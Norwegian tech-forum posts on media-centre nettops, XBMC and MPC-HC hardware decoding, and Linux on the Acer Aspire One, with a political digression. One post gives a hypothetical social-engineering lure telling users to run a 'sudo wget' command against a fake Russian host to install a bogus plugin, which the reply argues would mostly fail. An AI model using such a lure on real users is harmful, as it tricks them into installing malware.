BlackLagoon

Vurderer en sånn Asrock NetTop ION 330 for så bytte ut dvd drevet med en BD rom og harddisken med en SSD disk. Vil det la seg gjøre?

Hadde det ikke vært lurere da å kjøpe Multicoms egenproduserte variant, som du kan få ferdig bygget med både BD og SSD?

nå har jeg installert MPC HC og noe ffdshow-continued greier.

det er bedre enn VLC nå, lyden flyter fint, og bildet flyter forsåvidt fint, MEN bildet går i slowmotion, sikkert 50% speed!!

MPC-HC har en del begrensninger når det gjelder hardwareakselerasjon, du får sjekke her om du har stilt alt rett inn:

http://mpc-hc.sourceforge.net/DXVASupport.html

Alle spillere som er basert på DirectShow:

http://en.wikipedia.org/wiki/DirectShow

Nå må vi da skille mellom spillere som faktisk har støtte for hardware dekoding innebygget (MPC-HC, PowerDVD, WinDVD), og det du tenker på her - spillere som ikke har det selv men kan få det gjennom hardwareakselererte codecer (MediaPortal, Zoom Player, etc.). Slike codecer er ikke blant de vanligste der ute... Med unntak av Windows eget MPEG-2 codec fra og med Vista, og h.264 codecet i Windows 7, er det hovedsakelig PowerDVD og WinDVD som har noe slikt.

Fins det noe liste over hvilke programmer/OS som støtter hardware-akselerasjon? Hvilke formater støtter Ion?

Linux - http://en.wikipedia.org/wiki/VDPAU

Windows - http://en.wikipedia.org/wiki/NVIDIA_PureVideo

Linux har XBMC, Mplayer, XINE og MythTV for øyeblikket. På Windows ser det ut som om Media Player Classic - Home Cinema er det eneste gratisalternativet.

Kommer til å benytte den sammen med XBMC, vurderer sammen med ubuntu for å slippe å kjøpe windows.

Jeg har en stasjonær pc i kjelleren på kontoret hvor jeg har alle mine filmer etc lagret. Per i dag benytter jeg en bærbar win xp pc i stua hvor jeg streamer filmer fra vista pcen i kjelleren(pcene satt i nettverk). Hvordan vil det fungere å streame fra XBMC (ubuntu) fra en vista maskin? Er dette problematisk?

Skulle ikke være noe problem. Ubuntu kan streame filer fra Windows nettveksdeling uten vanskeligheter.

Hvordan tror dere kvaliteten på blu-ray filmene vil bli?

Kvaliteten burde det ikke være noe å utsette på, det er full støtte i IONs hardware, men desverre finnes det ikke noen skikkelig Blu-Ray-spillingsprogram for Linux enda. Dvs., selve videoene kan spilles (uten menyer), men da må de først rippes til harddisken og dekrypteres manuelt (via dekrypteringsnøkler du må finne på nettet). For en full Blu-Ray opplevelse må du nok holde deg til Windows i nærmeste framtid.

Har du lest dette?

http://www.canaldigital.no/Kundeservice/Ka...eoppdateringer/

Canal Digital må nå godkjenne og autorisere din mottaker før du får bruke kortet i den, og jeg tviler nok sterkt på at en MythTV boks "tilfredsstiller de strenge kravene til sikkerhet som [de] er pålagt å etterkomme".

Har fått mitt eksemplar opp å gå med Ubuntu 9.04 og XBMC. Tok litt knoting å få alt til å fungere, ettersom de medfølgende versjonene av NVIDIA driverene og Pulseaudio ikke helt støtter ION plattformen og måtte dermed oppgraderes. Men da det var gjort kjørte den 1080p uten å blunke. En tanke tearing på "high quality" YouTube Flash videoer i fullskjerm, men ellers fungerer ting skikkelig.

Eller duger den kun til å spille av media som ion'en kan ta seg av og resten bør en glemme?

ASRock demonstrerer maskinen med Windows 7, og kjører Call of Duty 4 med tydeligvis greie resultater. Ytelsesmessig, ligger visstnok dual-core Atom CPUen et sted mellom Pentium 4 og Pentium M, alt etter hvor optimalisert programvaren er for flere kjerner.

Hva er egentlig forskjell på "Asrock NetTop ION 330" og "Multicom Media Center Mini 120" ? (Forutsatt at Mini 120-duden har blitt speccet med Atom 330 og 2 gig ram).

 

Prismessig er Asrock billigere.

ASRock sparer vel penger på å masseprodusere i Taiwan, mens Multicoms er spesialbygget her i Norge. Det siste blir jo nødvendigvis dyrere, men gir et par flere valgmuligheter (Blu-Ray, større HD, SSD) for dem er villig til å betale.

Med likt spec ser det ut som eneste fordelen til Multicom er at den har to USB porter på forsiden, mens ASRock har alle på panelet bak. Muligens lager Multicoms litt mindre støy, selv om det ser ut som om ASRock også har hatt lavt støynivå som et av hovedmålene sine (de hevder den lager mindre støy enn det er i et bibliotek).

Håper dette er rett forum, men jeg er i alle fall på jakt etter et Bluetooth headset med mulighet for å enkelt skru av og på mikrofonen. Ellers hadde jo multipoint vært praktisk (bruke både til mobil og PC), og at det stort sett gjorde det bra på lydkvalitet, støyreduksjon, komfort, etc. (eksklusivt design trengs ikke så lenge den ikke ser helt fæl ut).

Noen som vet om det er noe sånt på markedet, helst da uten at vi må så veldig nær tusenlappen?

Syns de kunne prøvd å utfordre, blir det mer kamp på markedet går prisene enda lavere og dette gagner jo kunden.

Tror nok Atom prosessoren får en utfordrer fra et annet sted, i og med at det har kommet en del utsagn fra produsenter som ser på muligheten for ARM-baserte nettpcer. Med en Ubuntu versjon på vei, er alt en trenger en skikkelig Flash implementasjon for arkitekturen, så har en en temmelig ideell sak for de som er mest ute etter en billig liten surfe/leke maskin.

Jeg tror det er viktig at politikerene vår har litt arbeidserfaring, det er jo ikke noe must, men det er jo greit å ha vært i en stilling innenfor det fagfeltet man skal "styre".

Problemet her er jo at politikeren kan være for nært knyttet til personene i industrien han skal regulere, og ende opp å gjøre avgjørelser som er mer i stylerledernes gunst enn skattebetalernes. Et eksempel er USAs nåværende finansminister, Henry Paulson, som fram til 2006 var daglig leder i Goldman Sachs, som nå er ett av firmaene han skal dele ut millioner av dollar til som del av den økonomiske krisepakken. Hans krisepakke, som går ut på å kjøpe opp de råtne boliglånene, er blitt kritisert for å være mye "snillere" med firmaene enn de vi ser her i Europa.

Visste du ut ifra det som er omtalt i norske medier at det var demokratene som trumfet gjennom det at Freddie Mac og Fannie May skulle gi utlån til folk som egentlig ikke var skikket til å ha lån?

Eh, det hele involverte langt flere institusjoner enn Freddie Mac og Fannie May, og uansett var det ikke akkurat som om noen ble tvunget til å tape penger. Sub-prime lånene var alt annet enn veldedighet - de var mye dyrere enn vanlige boliglån, og bankene var storfornøyd med å pumpe dem ut og så selge dem videre som gyldne investeringsmuligheter uten mye snakk om risiko (husker dere Terra skandalen?). Tanken var at boligprisene kom til å fortsette å stige, og dermed at lånene var godt sikret, men istedet kollapset boligmarkedet og lånene ble i økende grad verdiløse.

Og når en snakker om skyld - det var flere amerikanske stater som så faren i denne utlånsfesten, og ville innføre restriksjoner på den for et par år siden. Men Bush administrasjonen deklarerte at de ikke kunne regulere landsdekkende banker, som gjorde at det hele ble droppet.

Ikke si at det ikke hadde gått, her er en måte å infisere en linuxmaskin på som utnytter den menneskelige faktoren: Du trenger en webside som når den detekterer en linux-basert browser viser "Du må oppdatere en FF plugin for å se BRITNEY SPEARS NAKEN!!!! Åpne et terminalvindu og skriv følgende: sudo wget http://ftp.fantastic_linux_software.ru/ff/...naken.deb"

 

Skjønner? Ikke si at ingen hadde gått på den.

Eh, for det første så vil jeg tro at en stor andel av dem som kunne gått på det ikke være klar over hva et terminalvindu er, og det å laste ned en .deb fil med root privilegier er da ikke spesielt farlig. Alt som skjer er at den uvitende bruker får en fil i nedlastings katalogen sin de ikke får slettet.

Men la oss si du får en bruker til å laste ned .deb fil og kjøre en installasjon (mulig det holder å dobbelklikke i filbehandleren). Filen må framdeles være for rett distro. Kjører brukeren en rpm basert distro som Fedora eller Mandriva, hjelper .deb filer lite, og selv innenfor Debian baserte distroer er kompatibilitets variasjoner som gjør at pakker ikke kan brukes om en annen. Kansje ikke så stort problem hvis du bare vil ødelegge data, men definitivt hvis du vil gjøre noe mer komplisert som å legge inn reklame poppups, eller gjøre den om til en botnet zombie uten at brukeren merker at noe er galt.

Og tilslutt, hvis du faktisk har lurt inn rett installasjons fil på rett distro, så vil brukeren få en advarsel om at pakken er usignert, og at den kan inneholde skadelig programvare. I motsetning til Windows er dette et sjeldent syn, så en kan håpe at advarselen faktisk har en effekt. I Linux er tross alt programinstallasjon og oppdatering mye mer integrert i OSet, så brukere vil etter hvert bli mindre vant til gå ut på nettet og laste ned filer fra 3. parts websider når de trenger noe nytt.

Det var sikkert bare et rykte startet av noen som hørte om Nvidia's nye Tegra system-on-a-chip, og ikke fikk med seg at den var ARM basert.

Jeg vurderer nå sterkt å benytte angreretten min og bytte min a110 mot en a150. Grunnen er at jeg ikke ser ut til å få a110 på nettet på UiO.

Har du prøvd å få den på nettet et annet sted og kjøre Acer's Live Update? En av de siste oppdateringen var av nettverkstyringsprogrammet, så kansje den vil få ting til å fungere bedre?

Jeg får denne feilmeldingen når jeg prøver å åpne de forskjellige programmene i Open Office. Writer, spreadsheet osv. Ikonene forandret seg også da jeg la inn norsk tegnsett. Så jeg tror det du antyder til løsning virker logisk. Men hvordan forandrer jeg dette?

Hurtig løsting: Trykk alt-F2 og skriv oowriter for å starte Writer eller oocalc for Clac.

Permanent løsning: http://www.aspireoneuser.com/forum/viewtop...p?f=5&t=705

I tillegg ønsker jeg å kjøre LogmeIn (fjernstyring) samt koble meg opp via Citrix (ICA). Kan sistnevnte kjøres på Linux eller er jeg da låst til XP?

Citrix har en Linux klient på hjemmesidene deres. Jeg har ikke prøvd den på Linux versjonen på min Aspire One, men under Ubuntu på en annen laptop fungerte den helt greit. Var bare litt krøll til å begynne med, ettersom Citrix ikke inkluderte root sertifikatet til SSL tilbyderen til serveren jeg skulle koble til, så jeg måtte laste det ned og legge det inn selv.

Det var mye greier bare for å legge inn et program..

...å legge inn et program som ikke er offifsielt støttet av distribusjonen (Linpus/Fedora). Programmer med offisielle rpm pakker (som Opera, Skype) er lekende lett å få innpå, enda mer med programmer som kan legges inn via pakkebehandleren i den "avanserte menyen". Hvis du vil ha Firefox 3 på den enkle måten, nå du nok desverre vente på at Acer gjør den tilgjengelig via Live Update funksjonen.

Telenor lenker til et forum der man får tak i de nødvendige driverne og programmene for Linux. So far, so good. Problemet er at jeg ikke får til å bruke oppskriften for hvordan dette skal installeres. F.eks. står det at man skal bruke kommandoen "sudo make install". Det resulterer i meldingen om at "make" ikke er gyldig kommando. Siden Linux ikke er Linux, men en hel haug med dialekter, så må man finne ut mye av dete selv og jeg er ingen Linux-ekspert. Jeg har nok gitt opp Linux mer enn de fleste

Prøv sudo yum install make - Det burde legge make inn på maskinen, og la deg utføre kommandoen.

Med Wine kan du installere det meste av Windows-programmer der ute.

Jeg ville vel heller si at du kan installere mange Windows programmer uten problemer, men det er også en del som trenger litt triksing for å virke, eller de som ikke fungerer i det hele tatt. Wine har en database på hjemmesiden sin søke etter spesifikke applikasjoner og lese om hvor bra de er støttet.

Kanskje et dumt spørsmål: jeg vet open office følger med, men går det ann å legge inn ms office på linuxversionen?

Faktisk så støtter nå Wine (en Windows "tolk" for Linux) flere versjoner av Microsoft Office. Selv har jeg installert Office 2003 på Ubuntu 8.04 uten noen problemer.

Jeg har aldri brukt Linux før. Vil jeg ha problemer med å feks legge inn nye programmer? Er det stor forskjell fra Windows??

Installasjon av open source programmer kan så vidt jeg har fått med meg gjøres med pakkebehandleren Yum via brukergrensesnittet Synaptic. Det er faktisk enklere enn Windows, siden den laster selv ned alt fra nettet og ordner installasjon og oppsett automatisk. For kommersielle Linux programmer, skal Acer's Linux versjon kunne installere rpm-filer laget for Fedora 8, som du får for eksempel Opera i.